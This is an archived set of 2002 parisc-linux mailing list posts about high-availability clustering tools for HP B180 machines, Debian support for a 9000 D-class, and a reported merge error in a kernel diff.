Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc -linux: Cluster tools availability?
Date: Tue, 16 Jul 2002 15:02:07 +0200 (CEST)
Lines: 21
Approved: news@gmane.org
Message-ID: <1026824527.3d34194f9be6d@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621525 10984 80.91.229.3 (22 Nov 2014 01:58:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 07:02:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 592684888
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 07:02:08 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17URxv-0008Mp-00
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 15:02:07 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15511

Hi all,

I running a b180 with md and I could recover a second b180.

It would be nice to build a cluster 'a la MC/SG'.

I found well openmosix but only i386 afaik (and there is too much asm code for
me to tempt a portage).

There is also beowulf but the only HOWTO I found concern kernel 2.0 ? (more over
my network connection are limited (10Mb) and it does not seems to cover my
whishes (HA cluster)).

Any other advise?

Thanks a lot,
    Joel

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc -linux: Cluster tools availability?
Date: Tue, 16 Jul 2002 15:08:44 +0200 (CEST)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0207161507070.17900-100000@r6.petescaff.com>
References: <1026824527.3d34194f9be6d@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621525 10988 80.91.229.3 (22 Nov 2014 01:58:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:45 +0000 (UTC)
Cc: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: "joel.soete@freebel.net" <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 07:09:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC1614888
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 07:09:20 -0600 (MDT)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.35 #1)
	id 17US4K-0003Ki-00; Tue, 16 Jul 2002 15:08:44 +0200
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <1026824527.3d34194f9be6d@webmail.tiscalinet.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15512

You should probably start looking at www.linux-ha.org - this site has
links to many HA projects and is the source for 'heartbeat'.

R.
PeteM

On Tue, 16 Jul 2002, joel.soete@freebel.net wrote:

> Hi all,
>
> I running a b180 with md and I could recover a second b180.
>
> It would be nice to build a cluster 'a la MC/SG'.
>
> I found well openmosix but only i386 afaik (and there is too much asm code for
> me to tempt a portage).
>
> There is also beowulf but the only HOWTO I found concern kernel 2.0 ? (more over
> my network connection are limited (10Mb) and it does not seems to cover my
> whishes (HA cluster)).
>
> Any other advise?
>
> Thanks a lot,
>     Joel
>
> -------------------------------------------------
> This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:23:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?B?VOFyY2lvIFJvZHJpZw==?=ues Bezerra <tarcio@cefet-al.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux for PA 9000 D-Class
Date: Tue, 16 Jul 2002 10:12:58 -0300
Lines: 19
Approved: news@gmane.org
Message-ID: <1026825178.3d341bda8dd6e@webmail.cefet-al.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621526 10991 80.91.229.3 (22 Nov 2014 01:58:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:46 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 07:12:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from monet.cefet-al.br (unknown [200.133.126.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2AFE489D
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 07:12:15 -0600 (MDT)
Original-Received: by monet.cefet-al.br (Eletronic Mail - CEFET/AL, from userid 503)
	id B03BE2AF8F; Tue, 16 Jul 2002 10:12:58 -0300 (BRT)
Original-Received: from 200.133.126.25 ( [200.133.126.25])
	as user tarcio@200.133.126.2 by webmail.cefet-al.br with HTTP;
	Tue, 16 Jul 2002 10:12:58 -0300
User-Agent: Internet Messaging Program (IMP) 3.1
X-Originating-IP: 200.133.126.25
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15513

Hi everybody,

My doubt is if there is a version of Debian for my hardware (PA 9000 D-class). 
I found 9000/720 and 9000/735. This versions grants compatibility with all 9000 
series?

Thanks in advance.
-- 
Trcio R. Bezerra
Gerente de Tecnologia da Informao
Centro Federal de Educao Tecnolgica de Alagoas





-------------------------------------------------
CEFET/AL - HORDE/IMP


From - Thu Nov 08 21:23:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?B?VOFyY2lvIFJvZHJpZw==?=ues Bezerra <tarcio@cefet-al.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA 9000 D-Class
Date: Tue, 16 Jul 2002 10:20:00 -0300
Lines: 60
Approved: news@gmane.org
Message-ID: <1026825600.3d341d80904ad@webmail.cefet-al.br>
References: <20020716124902.16005.43182.Mailman@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621526 10995 80.91.229.3 (22 Nov 2014 01:58:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 07:19:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from monet.cefet-al.br (unknown [200.133.126.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id A87CB48A0
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Jul 2002 07:19:16 -0600 (MDT)
Original-Received: by monet.cefet-al.br (Eletronic Mail - CEFET/AL, from userid 503)
	id B444D2AF90; Tue, 16 Jul 2002 10:20:00 -0300 (BRT)
Original-Received: from 200.133.126.25 ( [200.133.126.25])
	as user tarcio@200.133.126.2 by webmail.cefet-al.br with HTTP;
	Tue, 16 Jul 2002 10:20:00 -0300
In-Reply-To: <20020716124902.16005.43182.Mailman@dsl2.external.hp.com>
User-Agent: Internet Messaging Program (IMP) 3.1
X-Originating-IP: 200.133.126.25
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15514

Hi,

Is my hardware (hppa 9000 D-class)supported by Debian Linux for parisc? I 
visited the site and I have doubt if it does (i found 9000/720 and 9000/735 
support).

Thanks in advance.
-- 
Trcio R. Bezerra
Gerente de Tecnologia da Informao
Centro Federal de Educao Tecnolgica de Alagoas


Citando parisc-linux-request@lists.parisc-linux.org:

> Welcome to the parisc-linux@lists.parisc-linux.org mailing list!
> 
> To post to this list, send your email to:
> 
>   parisc-linux@lists.parisc-linux.org
> 
> General information about the mailing list is at:
> 
>   http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> If you ever want to unsubscribe or change your options (eg, switch to
> or from digest mode, change your password, etc.), visit your
> subscription page at:
> 
>  
> http://lists.parisc-linux.org/mailman/options/parisc-linux/tarcio%40cefet-
al.br
> 
> 
> You can also make such adjustments via email by sending a message to:
> 
>   parisc-linux-request@lists.parisc-linux.org
> 
> with the word `help' in the subject or body (don't include the
> quotes), and you will get back a message with instructions.
> 
> You must know your password to change your options (including changing
> the password, itself) or to unsubscribe.  It is:
> 
>   tarcio@cefet-al.br
> 
> If you forget your password, don't worry, you will receive a monthly
> reminder telling you what all your lists.parisc-linux.org mailing list
> passwords are, and how to unsubscribe or change your options.  There
> is also a button on your options page that will email your current
> password to you.
> 
> You may also have your password mailed to you automatically from the
> Web page noted above.
> 


-------------------------------------------------
CEFET/AL - HORDE/IMP


From - Thu Nov 08 21:23:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc -linux: Cluster tools availability?
Date: Tue, 16 Jul 2002 09:48:00 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <20020716134800.GB32471@systemhalted>
References: <1026824527.3d34194f9be6d@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621526 10999 80.91.229.3 (22 Nov 2014 01:58:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:46 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 07:49:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B9994897
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 07:49:36 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17USgK-000053-00; Tue, 16 Jul 2002 09:48:00 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	joel.soete@freebel.net, parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <1026824527.3d34194f9be6d@webmail.tiscalinet.be>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (35% Sync Ratio [====......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15515

> Hi all,
> I running a b180 with md and I could recover a second b180.
> It would be nice to build a cluster 'a la MC/SG'.
> I found well openmosix but only i386 afaik (and there is too much asm code for
> me to tempt a portage).
> There is also beowulf but the only HOWTO I found concern kernel 2.0 ? (more over
> my network connection are limited (10Mb) and it does not seems to cover my
> whishes (HA cluster)).
> 
> Any other advise?
> Thanks a lot,
>     Joel
>

Linux Virtual Server Project?
http://www.linuxvirtualserver.org/

You definately don't want MOSIX for HA. If the system that spawned
the process dies, then so does the process. The MOSIX stubs just
marshall data, and in most cases for simple things call directly
to the kernel that the process has migrated towards.

I would really like to see a port of bproc to parisc :)
(I figure on ~100 lines of assembly to get process state information).
I spoke to Donald Becker at OLS about this, and it's on my todo
list... might get done in September.

c.


From - Thu Nov 08 21:23:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA 9000 D-Class
Date: Tue, 16 Jul 2002 09:51:58 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20020716135158.GC32471@systemhalted>
References: <20020716124902.16005.43182.Mailman@dsl2.external.hp.com> <1026825600.3d341d80904ad@webmail.cefet-al.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621527 11001 80.91.229.3 (22 Nov 2014 01:58:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: T?rcio Rodrigues Bezerra <tarcio@cefet-al.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 07:53:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 823A248AC
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Jul 2002 07:53:38 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17USkA-00005X-00; Tue, 16 Jul 2002 09:51:58 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	T?rcio Rodrigues Bezerra <tarcio@cefet-al.br>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <1026825600.3d341d80904ad@webmail.cefet-al.br>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (35% Sync Ratio [====......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15516

> Hi,
> Is my hardware (hppa 9000 D-class)supported by Debian Linux for parisc? I 
> visited the site and I have doubt if it does (i found 9000/720 and 9000/735 
> support).
> Thanks in advance.
> -- 
> T?rcio R. Bezerra
> Gerente de Tecnologia da Informa??o
> Centro Federal de Educa??o Tecnol?gica de Alagoas

You can check out the current hardware database:
http://hwdb.parisc-linux.org/

In particular:
http://hwdb.parisc-linux.org/view.php3?type=machine&name=720

It looks happily supported :)

c.


From - Thu Nov 08 21:23:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc -linux: Cluster tools availability?
Date: Tue, 16 Jul 2002 15:55:35 +0200 (CEST)
Lines: 42
Approved: news@gmane.org
Message-ID: <1026827735.3d3425d7c1e1d@webmail.tiscalinet.be>
References: <1026824527.3d34194f9be6d@webmail.tiscalinet.be> <20020716134800.GB32471@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621527 11003 80.91.229.3 (22 Nov 2014 01:58:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:47 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 07:56:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9AB948AC
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 07:56:35 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17USnf-0004yh-00; Tue, 16 Jul 2002 15:55:35 +0200
In-Reply-To: <20020716134800.GB32471@systemhalted>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15517

Quoting Carlos O'Donell <carlos@baldric.uwo.ca>:

> > Hi all,
> > I running a b180 with md and I could recover a second b180.
> > It would be nice to build a cluster 'a la MC/SG'.
> > I found well openmosix but only i386 afaik (and there is too much asm
> code for
> > me to tempt a portage).
> > There is also beowulf but the only HOWTO I found concern kernel 2.0 ?
> (more over
> > my network connection are limited (10Mb) and it does not seems to
> cover my
> > whishes (HA cluster)).
> > 
> > Any other advise?
> > Thanks a lot,
> >     Joel
> >
> 
> Linux Virtual Server Project?
> http://www.linuxvirtualserver.org/
> 
> You definately don't want MOSIX for HA. If the system that spawned
> the process dies, then so does the process. The MOSIX stubs just
> marshall data, and in most cases for simple things call directly
> to the kernel that the process has migrated towards.
> 
> I would really like to see a port of bproc to parisc :)
> (I figure on ~100 lines of assembly to get process state information).
> I spoke to Donald Becker at OLS about this, and it's on my todo
> list... might get done in September.
> 
> c.
> 
Great, I will awaiting so.

Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Merge error in pa55 tree ??
Date: 16 Jul 2002 16:11:28 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621527 11011 80.91.229.3 (22 Nov 2014 01:58:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:47 +0000 (UTC)
To: HPPA List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 08:01:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 82E2348B0
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 08:01:08 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g6GFBTu6002851
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 16:11:30 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g6GFBTb2002849;
	Tue, 16 Jul 2002 16:11:29 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15518


diff -u --new-file --recursive --exclude-from /usr/src/exclude
linux.vanilla/ar
--- linux.vanilla/arch/ia64/kernel/perfmon.c    Fri Nov  9 22:26:17 2001
+++ linux-hppa/arch/ia64/kernel/perfmon.c       Wed Aug 15 18:07:26 2001
@@ -38,7 +38,7 @@  
 
 #ifdef CONFIG_PERFMON
 
-#define PFM_VERSION            "0.3"
+#define PFM_VERSION            "0.2"
 #define PFM_SMPL_HDR_VERSION   1
 
 #define PMU_FIRST_COUNTER      4       /* first generic counter */
@@ -52,7 +52,6 @@
 #define PFM_DISABLE            0xa6    /* freeze only */
 #define PFM_RESTART            0xcf
 #define PFM_CREATE_CONTEXT     0xa7



From - Thu Nov 08 21:23:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Merge error in pa55 tree ??
Date: Tue, 16 Jul 2002 15:09:29 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20020716150929.V27706@parcelfarce.linux.theplanet.co.uk>
References: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621527 11012 80.91.229.3 (22 Nov 2014 01:58:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:47 +0000 (UTC)
Cc: HPPA List <parisc-linux@parisc-linux.org>, bame@fc.hp.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 08:09:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 10A6948A4
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 08:09:35 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17UT17-00021m-00; Tue, 16 Jul 2002 15:09:29 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1026832288.1687.57.camel@irongate.swansea.linux.org.uk>; from alan@lxorguk.ukuu.org.uk on Tue, Jul 16, 2002 at 04:11:28PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
